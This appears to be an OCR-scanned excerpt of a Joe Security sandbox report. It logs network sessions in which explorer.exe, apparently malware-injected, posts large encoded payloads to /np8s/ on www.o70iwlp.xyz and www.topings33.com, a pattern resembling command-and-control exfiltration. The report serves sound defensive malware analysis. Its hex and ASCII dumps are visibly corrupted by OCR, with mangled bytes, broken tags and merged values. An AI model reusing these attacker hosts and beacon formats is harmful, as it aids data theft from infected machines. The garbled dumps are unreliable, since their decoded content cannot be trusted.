5AIrpCyBRZf5H00WwWCA248fYoAEShWaEqR160b_drHLAIMHpzWAjuxpaM8nQbM2rokOQi2QwQjGyedbUyEBSkKjv~Tc
LOcXOmMUEj(m4LssgKTtMO~vrHD2LMA_NvCN6uZ37Ti5q49dKQy8Ja(R5x6sA7rylqP75HLSMnPZvrHfr2WQtdGY~PJ
IYBUEJbpN3t1l_POOEBi6KnVwzjs5ljAmD4Caqybay1S5IVySkFpwxpSeyhZBilmO(_7A2IMfUBWPIJAN2tiYPOL9djk
VoA~FQSO0GYrAS5w90UXuGc7yEFG(NrCKby8LudQVevrOQNPRrbX2fiK~qiWse(A).

HTTP/1.1 404 Not Found

Server: nginx

Date: Fri, 27 May 2022 15:29:42 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1
Host: www.o70iwlp.xyz
Connection: close
Content-Length: 36482
Cache-Control: no-cache
Origin: http://www.070iwlp.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.o70iwlp.xyz/np8s/
Accept-Language: en-US
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Accept-Encoding: gzip, deflate

Timestamp kBytes Direction Paka Raw: 63 32 4d 48 36 44 65 50 3d 5a 67 43 72 46 37 33 6a 61 50 59 59 53 4e 31 38 45 41 73 45 48 55 46 30 4e 42

ansieres 7e 48 4f 6d 77 32 6e 56 47 4e 31 43 59 49 28 54 62 6e 6d 6b 44 48 62 73 31 43 6d 53 36 51 56 73 47 33 36 34 56 46 57

4d 57 38 68 35 30 49 6f 70 71 35 41 32 46 35 33 45 63 76 55 51 44 37 31 34 38 47 54 4e 67 6¢ 35 6e 4c 31 45 71 59 2d 3
6 2d 6e 5f 50 59 76 4c 52 75 30 4d 30 44 58 46 67 71 63 32 43 73 77 4151 62 55 75 72 73 73 4f 51 53 36 51 7a 78 54 46
6¢ 50 64 63 5a 43 45 41 5a 45 6a 36 33 7a 41 66 30 63 46 4b 6d 72 6b 6a 28 30 63 4c 71 74 4b 4b 61 38 4d 4a 30 5f 72
65 48 32 4c 46 45 5f 52 36 43 4a 61 59 5a 79 57 73 69 4a 75 34 39 74 4b 52 33 76 35 73 6f 79 51 6e 38 73 63 63 72 79
5551 50 70 4d 55 4c 74 51 48 49 72 33 51 62 72 54 63 57 54 42 33 41 34 7e 4c 43 46 59 67 55 45 4a 72 70 4e 33 48 31
5f 28 30 30 44 6¢ 69 34 73 37 56 67 68 62 76 6b 59 6a 5f 74 6a 35 52 6e 53 58 61 79 78 7e 70 4a 51 65 30 6b 32 46 77
6a 38 32 65 30 56 74 4f 76 6f 6d 36 78 66 37 6a 28 46 4d 51 55 36 77 58 6¢ 49 64 64 78 63 7e 59 56 41 66 39 64 42 4d
56 71 77 7e 46 65 79 31 41 57 4c 4d 43 35 77 6¢ 4b 55 53 72 39 63 4b 32 45 45 54 6a 4e 71 6e 7e 62 78 4d 4c 75 52 77
56 4f 70 36 41 62 62 64 31 55 57 6b 69 55 6e 66 58 76 68 6e 64 67 76 4f 32 75 7e 4b 4c 50 48 31 58 54 68 7a 35 30 71
5050 6a 67 52 70 55 63 73 4f 49 39 46 30 54 31 41 79 4b 56 64 58 46 43 52 6d 4e 4c 49 53 46 71 57 6f 73 4b 5f 75 71 4c
2d 66 37 79 6b 39 50 73 61 51 75 68 4f 39 4e 55 4f 7e 44 42 47 6a 30 77 6f 57 72 77 77 5a 62 35 35 35 2d 41 71 71 4e
55 72 35 56 50 6b 70 48 6d 68 74 2d 58 6¢ 39 5f 53 5a 51 65 78 34 73 33 79 75 77 43 36 6d 56 70 51 6a 35 4a 61 55 4b
67 39 56 4d 57 28 46 64 38 6¢ 2d 53 4e 4d 4a 7e 55 69 56 6d 37 32 52 7a 64 6b 71 52 69 6d 66 43 6e 76 39 73 44 54 43
49 6d 72 78 49 64 31 4b 51 69 6d 47 71 65 59 41 50 31 55 36 53 66 79 36 78 7a 67 76 46 52 56 73 32 57 46 62 74 67 57
77 4e 52 65 51 41 6e 69 72 34 70 73 47 6a 55 6¢ 6f 4f 48 43 63 65 63 53 5f 34 68 6d 57 33 48 4b 5a 72 62 6e 38 74 30 36
52 52 46 58 51 6d 35 62 43 46 4c 39 4b 47 42 6b 33 36 48 6f 79 6e 32 67 36 5a 7a 39 42 31 6e 7a 41 49 39 4d 51 73 69
42 78 4f 38 65 2d 6e 48 66 53 79 33 62 35 65 58 49 75 77 46 4d 62 5a 41 36 44 38 69 38 73 31 56 47 32 6f 41 55 71 77
41 69 7a 69 43 77 38 77 6f 7e 6¢ 6e 4c 57 46 37 56 35 69 6¢ 38 39 69 55 6¢ 4d 58 68 62 73 75 32 54 34 4e 56 61 68 57
64 64 34 4f 58 44 41 5a 37 6¢ 62 68 32 6¢ 51 37 47 6f 66 4b 33 47 6a 4d 30 6a 70 72 70 32 52 35 78 76 34 5f 53 57 53 58
37 5f 3854 77 3539 34 55 47 7a 69 61 50 59 6f 57 70 31 58 43 42 4d 42 6f 58 43 71 6e 52 7a 31 4e 64 75 7a 79 69 43
77 45 6¢ 71 54 55 46 46 58 28 43 42 73 63 73 74 6e 76 44 70 61 6a 59 43 64 62 62 61 52 7e 35 36 68 31 69 6d 70 4e 33
70 48 62 49 4a 44 75 45 49 44 4a 54 5a 36 58 72 4f 4f 37 2d 41 47 7e 73 70 6e 52 62 4a 52 6a 51 4d 49 48 78 30 4a 53
2d 6a 4a 7e 4e 28 65 71 76 62 32 56 66 7a 70 39 33 63 50 48 38 4b 4b 58 33 71 4a 4e 6b 78 71 53 33 6d 4e 69 71 53 42
4d 47 6¢ 79 30 77 56 4a 61 71 4e 39 78 59 28 50 64 63 36 64 49 35 4c 51 59 5a 54 62 4e 32 70 4a 49 6¢ 51 62 77 64 4d
715377 38 6f 72 6¢ 4c 35 67 79 33 42 28 46 55 70 6e 38 37 5f 55 6d 30 58 37 75 7a 5a 44 6a 69 36 31 4e 72 5f 7e 35 3
2327269 4c 6f 42 74 63 74 6f 34 6b 5f 6e 58 37 2d 49 54 42 4d 38 4c 4a 49 37 48 6¢ 4e 61 6e 74 46 4b 2d 6d 4d 7a 6a
313667 67 7358 44 30 51 41 58 78 69 47 49 70 33 55 75 70 28 56 66 51 36 35 67 78 6a 65 67 43 30 38 35 53 4b 58 33
7058 42 30 58 79 47 4f 65 6a 69 77 55 7a 30 4f 6a 4f 71 62 71 6b 7a 4e 3248 7a 77 64 73 71 34 61 64 3265 37 76 78
52 52 6b 73 46 52 34 64 57 45 7a 49 36 45 28 6e 4a 6¢ 6e 35 46 65 4e 6a 6f 44 64 62 39 2d 61 46 41 74 79 42 44 55 74
73 61 59 6e 78 37 31 59 6d 70 5f 59 33 58 73 32 75 78 4f 4f 34 31 53 57 34 6f 2d 32 4e 54 70 63 78 52 33 78 36 36 59 5a
3853 7a 6e 6f42 77 64 46 79 36 76 33 78 6¢ 46 5a 53 31 77 76 6e 74 75 32 77 62 33 41 72 43 6e 69 57 43 71 59 55 6e
58 35 34 36 47 51 28 52 4b 4a 57 6a 66 50 7e 71 35 67 58 62 34 61 47 6a 52 54 4b 75 63 76 77 4b 48 4e 7e 41 33 74 36
76 78 4a 28 52 53 70 52 65 30 46 36 53 6a 58 70 70 36 64 6d 4f 68 64 32 6b 45 36 50 61 4a 61 77 44 7e 5a
Data Ascii: c2MH6DeP=ZgCrF73jaPYYSN18EASEHUFONB~HOmMw2nVGN1CYI(ThnmkDHbs1CmS6QVsG
364VFWMW8h50lopg5A2F53EcvUQD7148GTNgI5nL1EqQY-6-n_PYVLRUOMODXFgqc2CswAQbUurssOQS6QzxTFIPdcZ
CEAZE|63zAfOcFKmrkj(OcLqtKKa8MJ0_reH2LFE_R6CJaYZyWsiJu49tKR3v5soyQn8sccryUQPpMULtQHIr3QbrT
CcWTB3A4~LCFYgUEJrpN3H1_(00DIi4s7VghbvkY]_tjsRnSXayx~pJQe0k2Fwj82e0VtOvom6xf7j(FMQUBEwWXIIddx
c~YVAf9dBMVagw~FeylAWLMC5wIKUSr9cK2EETjNgn~bxMLURWVOp6Abbd1UWkiUnfXvhndgvO2u~KLPH1XThz50qPP
jgRpUcsOI9F0T1AYKVAXFCRMNLISFqWosK_ugL-f7yk9PsaQuhO9NUO~DBGjowoWrwwZb555-AqgNUr5VPkpHmht-X
19_SZQex4s3yuwCbmVpQj5JaUKgIVMW (Fd8I-SNMJI~UiVm72RzdkqRimfCnvIsDTCImrxld1KQimGge YAP1U6Sfy6x
zgvFRVs2WFbtgWwNReQAnir4psGjUloOHCcecS_4hmW3HKZrbn8t06RRFXQm5bCFLIKGBk36Hoyn296Zz9B1nzAI9M
QsiBxO8e-nHfSy3b5eXIuwFMbZA6D8i8s1VG20AUqwAiziCw8wo~InLWF7V5il89iUIMXhbsu2T4NVahWdd4OXDAZ7
Ibh21Q7GofK3GjMOjprp2R5xv4_SWSX7_8Tw594UGziaPYoWp1XCBMBoXCqnRz1NduzyiCWEIqTUFFX(CBscstnvDp
ajYCdbbaR~56h1impN3pHblIDUEIDITZ6XrO07-AG~spnRbIR|QMIHX0JS-jJ~N(eqvbh2Vfzp93cPHBKKX3qINkxqS
3mNigSBMGIlyOowVJagN9IxY (Pdc6dI5LQYZTbN2pJIIQbwdMgSwa8orlL5gy3B(FUpn87_UmOX7uzZDji61Nr_~522riL
oBtctodk_nX7-ITBM8LJI7HINantFK-mMzj16ggsXDOQAXXiGIp3Uup(VfQ65gxjegC085SKX3pXB0OXyGOejiwUz00
jOgbgkzN2Hzwdsg4ad2e7vxRRksFR4dWEzI6E(nJIn5SFeNjoDdb9-aFAtyBDUtsaYnx71Ymp_Y3Xs2uxO041SW40-2
NTpcxR3x66YZ8SznoBwdFy6v3xIFZS1wvntu2wb3ArCniWCqYUnX546GQ(RKIWjfP~g5gXb4aGjRTKucvwKHN~A3t6
VvxJ(RSpRe0F6SjXpp6dmOhd2kE6PaJawD~Z0cS5sPmKRPE3921-5luPcX4XuffUBtHIBX08ES0_jaAeeeVo7Kr7V69iV-
KMZjf6~ZiCHkseSYP9BzIZdx50NWAKDL38LVXIrOKWCInwmt7TCWxidoc501ICeKtuWzyB9QBud3LftkPEGcSy(
IBKWWMa7449b8NSnENQH;jYdZJ2iWCXDRPOsyabwNOeppvwDWZXDMaMeq_cp02BnUyYstAXm5bIAgfQgQ
9cb4Vi6AScabzLUCO9TalpBb6PIkOJFA_eVjj6E2BwesDaCriMAhXKINZpPxu4XDg9GVBVLNYNIXHOb5mOIm28tcJD
4QqXdCKmrR1IXwDXscFILNJ_cjaCSvQTbZulL3cGaNxU_pUx8I2WsIAf06Jkxv5bqUdn6N1~CULGqQyekRwmveTk3XYH
P9jm_GX38(3K3Jg30TxV-QLtXQusHom(NrNgOKzEFT0O4tFnjGgzIGKtKSrHyQs7k8Pb2~T4cgzcGmROWXgplmaer8
sw6ntk2YIKi7l~uu_HDx8WwMtlhQIKzgzANjtKOLMOdizPNnbSbaOIF4_jOUqSgFZU5XbwZXa2cVpt27ZTAI12p5-Q
i39WGZsQSeZeQcAEOaOh_hxwPzYEqgxYbVmtCNUoz1gEWV5vD73vpTtiqY T8FemWKcu3txQCKaYDMN~-Q
hpH7WXTYLysmvEmACjxNV2YIDe1Z50Vkr3DNu3ufncFoGVtDqOTjFzcq44W(-V700Mvpp85gNOIXP2cXQiRgS56Lp0
_ezwRYucyuRGS3I2rvs(8vtm3YgPjvPgY|eC7MBhIUOIOMQm9zDD-ZHu6I5tdpBt_9lgOac9QoLBivBDbILBSeyI7m
h34ffQ3WwaVKdV4oX(U(2idu77k(r4Y46260fR4SxZAZBx0SIkth6cE15JjunjlogSG20SeKcCZQuLKT8VYOuBP2yP
tg8PiIKoBNNTscxgpop2HydKox(QIhEo5CxQdU7hcJiDnu9i3HniIsFVfceiEgGGVPZfeyUAL9VweCtt8tG4k0BaKrgl
WDx3AWd6z3fNQ5mfIPKyXIjYfzpCYy6iRTZE_WQIWwWOBegAINndAtKGbK80xzTR1gkbzATIR49qg5T1TmvGHUCTDZz69
mx50PmMKCDI7fEFI[JKRD90-AlbggEPS81968J8xns1UIIN9IV41vIxnOKPmIdPFtZCkr-OomrTScuGUx4la2CLGicp
8r79q(XFlycDxLd~-GBAyjQ~tUbnHipCsPcPCvrTKSLNHd452g6b2qflIElakin_PROqgzADpDqdU(_DiAChncvjQ3mw
UTACM8ynWbNd4TiPKVV5zTRBbnd1GIICX7ehCf1AWp9t4JIp(gZ00g2aEdI3xIFTK95QLowkBXxCOg6PL~RQP7E9Z1XO
EnXM0069p7LCIPVRXKfggRNwEMXyQqDOdQpRwTr3gMkbyUJvnY OBV4dtcyzzMNZ9EHpvxeWy3dqFAIl-bAp-s-E3q8M
54sPYEzzYZVMimbcFnXFEZ3kFY5JbCczo5R~7A9u5~FV0B8rP6c5WSmk8kmlbn2ZLvH(IzZ3ceS4Wswoa-5MAIuHBhn
pJ9wfUQMOdj3HizDNKDNn3jyGBNt4PKb2MWV09EVqZM3-khmwlIM42ECy33sICM2lie9sbo5ILHGuna9Q7ANK9woy8
CpligP4j26mFjo3imkaRoKKeg7gmTWelkZdrG6admFKT97mOAGIZtKHxzj7t_LXhsQO1hgeK5E7ZegX8ImStFMkwvC
hnfHhZgXtGO~pba~ZFM7Qq4gucWWugEOIShMu09G81S4HUtO3XSXhtpmpillEOEWWKIBCTG(YxyoLhtXZ(9NGertUe
rmwGEcmTIX9WRih8AyJbM8SINvxkvdkzXgvrmy9CaFvwaVsOyy8313-gN4jaLMLEO8ZLLb25fpKgVBdUEpti62ralL.W
bYICIJ7gexYPb6EPNAbY OWRwrLOW-fyCO37gH8M1iArWB0heQL5p9JF7ULqdWRIIOXWUIut2Quy9RKNOuU4TE4e073
kD2ZHUgXj8HBO0-00hW1fAKZkpzxnwinAfMpldQw4Ha2uVG(Mo4z9S5dqqgtY 6bw5AkQ3vXmav_iIK6ANVNOIOTOiek
72PEVjAu3C00OR6b21wvUoEye3ylvLodYIObWIG7Mi(MQBIqzfiSSIF_6TqlUgRsbWemUgHj5YRXdFx7Zzx8Jh79JuX
s~5jk6k3sZPD74PDRZ10dghzqgrC5AIE-BuKwNdkrk1KTglt0J-xbytjgpQcOp-fF4Kx4WS~0vht9u4AVoT4sLmMg2
m30KkIZIfghEULNzAIKLWi8vw01g00im85(IEYi3SZQEN0AeDU087108G755GeY pQk2jPJUkyfhHVSNVrOZIDjsemQT
FlksDRInvupCZpv6NHC0a445FBAW7VIIIN4USyt4ZsMErNtuXIsbZfBOmSdCjsT8alEMA44bQ8iGXIZmaVH2QaWBXI
S4yybgMXrS6pdM5(AUYrvX2zJqog4SDK5trXVsi3c7K72e7qgicmsot3f7VPgxYRDtmk208AzFbyh1k8g3t8lqve1Cf
ALNJCWFOKUPOYEFR8FgYXaJWU03244ZLb2ZrDiDuia89Y9hR91csuNISD11s1AyUOijbhygNvtiVRIDpEGNgI03cQw
6dF8pdLWN7xX1INBPhOIVrISJIRnvyLISOz1j35Cj4mgTmYG8eg5a4VXH5THOgOt45vY CLFOVVRGEJA
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Timestamp

May 27, 2022
17:29:42.402899027
CEST

Session ID

33

Timestamp

May 27, 2022
17:29:42.403310061
CEST

May 27, 2022
17:29:42.612209082
CEST

Session ID

34

Timestamp

May 27, 2022
17:29:48.137238979
CEST

kBytes
transferred

9389

Source IP

192.168.2.3

kBytes
transferred

9389

9390

Source IP

192.168.2.3

kBytes
transferred

9391

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49944

Direction

ouT

Source Port

49945

Direction

ouT

Destination IP

134.122.201.217 80

Destination IP

162.0.230.89 80

Data

HTTP/1.1 404 Not Found

Server: nginx

Date: Fri, 27 May 2022 15:29:42 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</tite></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html|>

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?BI=IHUDzXfpVJ_&c2MH6DeP=Wi2RbeLHGdcMG/4zbWZrHjxVNTurLVF13zSFjScR2hfe23jELpoygCv
TVMXCwbd5YdLw HTTP/1.1

Host: www.o70iwlp.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Server: nginx

Date: Fri, 27 May 2022 15:29:42 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>

Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.topings33.com

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.topings33.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.topings33.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 78 33 62 6f 4f 32 30 54 63 6b 62 46 62 45 58 79 63 37 47 52 61 54 64 70 54 53 62
716339 4c 5a 4834 58 4531 76 79 51 34 6a 76 47 62 61 4d 2d 38 79 31 62 64 76 59 67 48 50 49 74 35 69 6b 75 55 4e
54 53 31 5a 78 49 50 46 34 48 39 54 56 6b 69 36 6¢ 49 52 36 79 70 7e 4b 61 69 73 52 73 67 39 65 47 39 34 30 51 4b 7a
46 44 61 47 63 44 73 53 70 33 42 73 4d 39 36 77 37 33 5a 42 71 33 4a 79 38 72 71 32 46 79 30 4f 71 79 41 31 52 79 4d
3957 3577 73 55 28 56 44 52 4a 64 41 73 28 6d 62 64 69 63 28 64 70 53 35 56 47 42 63 39 41 2d 55 6f 6f 35 45 58 4f
57 68 33 70 59 63 71 67 70 72 6f 4f 38 38 2d 45 56 50 37 7a 4c 41 47 31 46 66 63 37 56 78 4a 63 50 75 35 38 63 72 49
77 77 46 68 77 39 55 6b 35 62 41 7a 76 4f 70 53 56 38 41 44 4f 5f 43 33 51 43 59 36 37 33 34 6b 70 54 57 73 56 2d 31
4a 66 34 4c 49 79 4f 69 64 79 77 59 46 72 38 44 6f 66 4d 4f 4e 71 74 69 41 37 5a 76 4a 52 30 62 78 76 62 6a 77 4c 6¢C 64
6¢c 61 6d 50 31 5a 6d 70 65 55 5f 52 47 4e 64 56 38 34 4f 34 78 5a 4c 6d 6¢ 59 31 68 32 4d 59 6¢ 63 71 41 73 70 4c 76
76 7a 4d 38 31 51 34 46 64 35 43 4b 54 4a 75 38 50 38 54 74 32 78 4c 50 4a 47 42 58 4d 36 52 47 6¢ 68 6b 64 41 5a 59
39 28 68 68 36 49 56 32 6d 38 69 61 4f 30 5a 32 6d 66 53 7e 68 6b 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=x3bo020TckbFbEXyc7GRaTdpTSbqcILZHAXE1vyQ4jvGhaM-8y1bdvYgHPItSikuUNTS1
ZXIPF4HITVKi6lIR6yp~KaisRsg9eG940QKzFDaGcDsSp3BsM9I6w73ZBg3Jy8rq2Fy00qyA1RyMOWSwsU(VDRJIdAS(
mbdic(dpS5VGBCcIA-Uoo5EXOWh3pYcqgproO88-EVP7zLAG1Ffc7VxJcPu58criwwFhw9Uk5hAzZvOpSVBADO_C3QCY
6734kpTWsV-1Jf4LIyOidywYFr8DofMONqtiA7ZvJRObxvbjwLIdlamP1ZmpeU_RGNdV8404xZLmlY1h2MYlcgAspL
wWzM81Q4Fd5CKTJIu8P8Tt2xLPIGBXM6RGIhkdAZY9(hh61V2m8ia00Z2mfS~hkQ).
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kBytes

Timestamp T Direction
May 27, 2022 9392 IN
17:29:48.374564886
CEST
Session ID Source IP Source Port
35 192.168.2.3 49946
kByt:
Timestamp yies Direction
transferred
May 27, 2022 9405 ouT
17:29:50.309083939
CEST

Copyright Joe Security LLC 2022

Data

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 15:29:48 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41
7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70
69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.topings33.com Port 80</address></body></htmI>

Destination IP Destination Port Process
162.0.230.89 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www.topings33.com
Connection: close
Content-Length: 36482
Cache-Control: no-cache
Origin: http://www.topings33.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.topings33.com/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 63 32 4d 48 36 44 65 50 3d 78 33 62 6f 4f 79 31 49 59 58 66 6d 58 30 61 55 52 70 32 4e 43 7a 74 72 66 43 66
6¢ 5a 38 57 48 4e 70 6e 36 78 74 37 6d 37 6a 6e 6d 52 4b 51 66 33 54 68 44 64 76 6f 5a 63 74 39 71 75 79 67 74 55 4e
72 3831 5a 6¢ 49 4f 47 49 58 36 30 5a 65 69 5a 4e 50 63 36 79 56 39 4b 61 42 36 53 70 41 39 66 58 53 34 30 59 61 30
3176 61 45 2d 4c 73 55 6f 33 4b 7a 63 39 38 76 4c 48 64 46 71 7a 2d 79 38 79 70 32 41 53 30 4f 61 7e 41 30 78 4354 3
756 52 7a 32 30 28 51 47 52 4a 45 4f 38 79 42 62 63 57 79 28 63 35 53 36 6d 79 42 64 73 67 2d 45 50 63 36 4c 33 4f 54
77 6e 70 76 50 36 6b 34 72 6f 53 67 38 5f 77 76 4d 4b 48 4c 43 32 31 2d 61 50 72 33 37 36 45 69 6f 36 68 38 72 49 39 65
45 77 73 6¢ 55 67 78 33 51 77 32 6d 33 41 4e 47 41 42 43 46 4f 33 51 47 51 61 36 31 34 6b 6f 6b 57 73 56 41 31 4e 62
34 4c 4c 69 4f 34 2d 4b 77 59 67 4c 5f 65 34 66 4a 48 74 71 6¢ 39 77 28 70 76 4a 59 35 62 78 47 41 6a 6e 7a 6¢ 63 41
6d 6d 49 45 5a 6¢ 39 75 55 31 4d 57 4e 49 50 4d 34 5f 34 78 5a 6¢ 6d 6b 5a 75 67 46 34 59 6b 4e 71 41 76 50 28 76 71
44 4d 38 37 77 34 48 53 5a 50 52 54 4a 6e 30 50 39 69 50 32 47 37 50 4a 58 68 58 4d 62 52 47 6d 52 6b 64 5a 4a 5a 2d
36 54 35 32 4e 6b 37 53 79 55 79 5a 36 2d 48 49 4c 54 66 32 33 76 42 59 44 69 4c 49 6f 47 77 48 45 77 39 59 4e 63 47
64 50 44 72 2d 70 6f 47 42 47 62 4b 58 6f 77 75 66 61 47 66 70 57 68 72 69 59 44 6f 64 4d 70 42 77 6a 57 79 6¢ 44 4a 72
4f 76 6f 71 4¢c 43 76 73 39 55 49 77 38 67 75 36 75 41 59 4b 64 55 59 41 48 53 51 62 4e 56 52 28 62 5a 30 39 50 4e 56
7548 73 30 39 7a 44 38 57 63 44 7a 5a 52 72 4e 31 47 55 6d 47 4f 4e 77 4d 69 54 6a 33 35 63 45 71 6f 67 4b 68 39 58
62 72 62 45 4f 6e 46 38 37 46 59 77 67 43 4d 37 69 62 5a 66 4b 48 44 4c 6f 73 7a 6b 57 69 44 43 62 33 66 42 4e 41 42
28 44 36 4a 69 37 6a 46 57 5f 44 61 71 2d 70 6d 54 68 61 31 66 66 62 32 44 51 32 38 71 44 39 6a 57 49 77 6e 7a 75 6e
4970 7a 6¢ 58 38 48 71 67 63 77 39 52 4a 67 4b 6a 52 70 64 72 71 61 52 66 58 50 28 4b 64 64 5a 2d 52 4f 79 49 30 71
61 4b 70 49 65 6e 7e 2d 49 48 78 42 4f 5f 35 46 7e 48 41 6¢ 49 59 41 37 54 32 79 75 5a 76 35 71 63 71 6e 6¢ 33 76 5a
78 43 6e 72 33 33 67 4c 4a 61 46 43 52 48 4b 53 53 41 46 51 79 39 33 42 33 57 34 57 31 51 41 69 5a 70 56 34 56 54 62
79 55 33 73 73 64 6d 66 6f 58 55 48 77 76 33 56 35 41 65 76 59 4f 63 5f 4b 32 53 79 67 76 6d 77 50 48 4c 6a 56 62 50 55
42 55 67 49 67 36 30 74 34 59 77 68 56 6¢ 46 37 6b 47 30 33 74 34 46 43 78 43 38 43 47 6f 53 37 4d 70 79 46 4b 6d 39
4f 32 4c 36 51 46 58 52 4b 37 6d 4f 4f 34 47 76 34 68 45 74 76 67 5f 53 56 35 35 51 34 4¢ 72 32 63 73 36 35 70 7e 45 4d
51 44 4e 73 57 51 4e 32 4d 42 6f 75 35 56 39 7a 76 36 4a 44 52 72 70 42 75 67 64 46 6¢ 6e 6b 45 4e 33 52 38 6b 73 6b
34 4f 46 5f 43 39 41 6f 49 4b 53 58 61 77 6e 33 62 6a 35 33 34 51 36 54 67 35 59 30 55 34 5a 75 41 4a 61 38 43 32 41
52 31 4f 4b 54 53 6e 32 33 31 73 45 33 56 76 46 45 6f 49 6a 70 66 69 4b 36 76 36 58 4a 76 34 74 36 6¢ 75 46 6¢ 44 4b
74 32 4b 4e 4a 43 7e 6d 41 51 45 79 73 51 33 47 61 67 34 57 66 62 7a 72 54 46 72 45 6d 31 4d 50 52 53 75 6b 7e 61 39
46 57 45 35 38 35 71 70 4e 6¢ 59 43 50 28 37 75 4e 64 6a 63 71 6¢ 49 39 6¢ 52 73 52 35 6¢ 32 6d 72 79 4e 35 77 6a 44
48 4572 55 48 68 6¢ 37 71 33 36 72 36 55 74 61 67 56 53 6f 28 36 31 56 30 54 6d 7a 4c 79 53 37 28 41 52 4d 6e 35 32
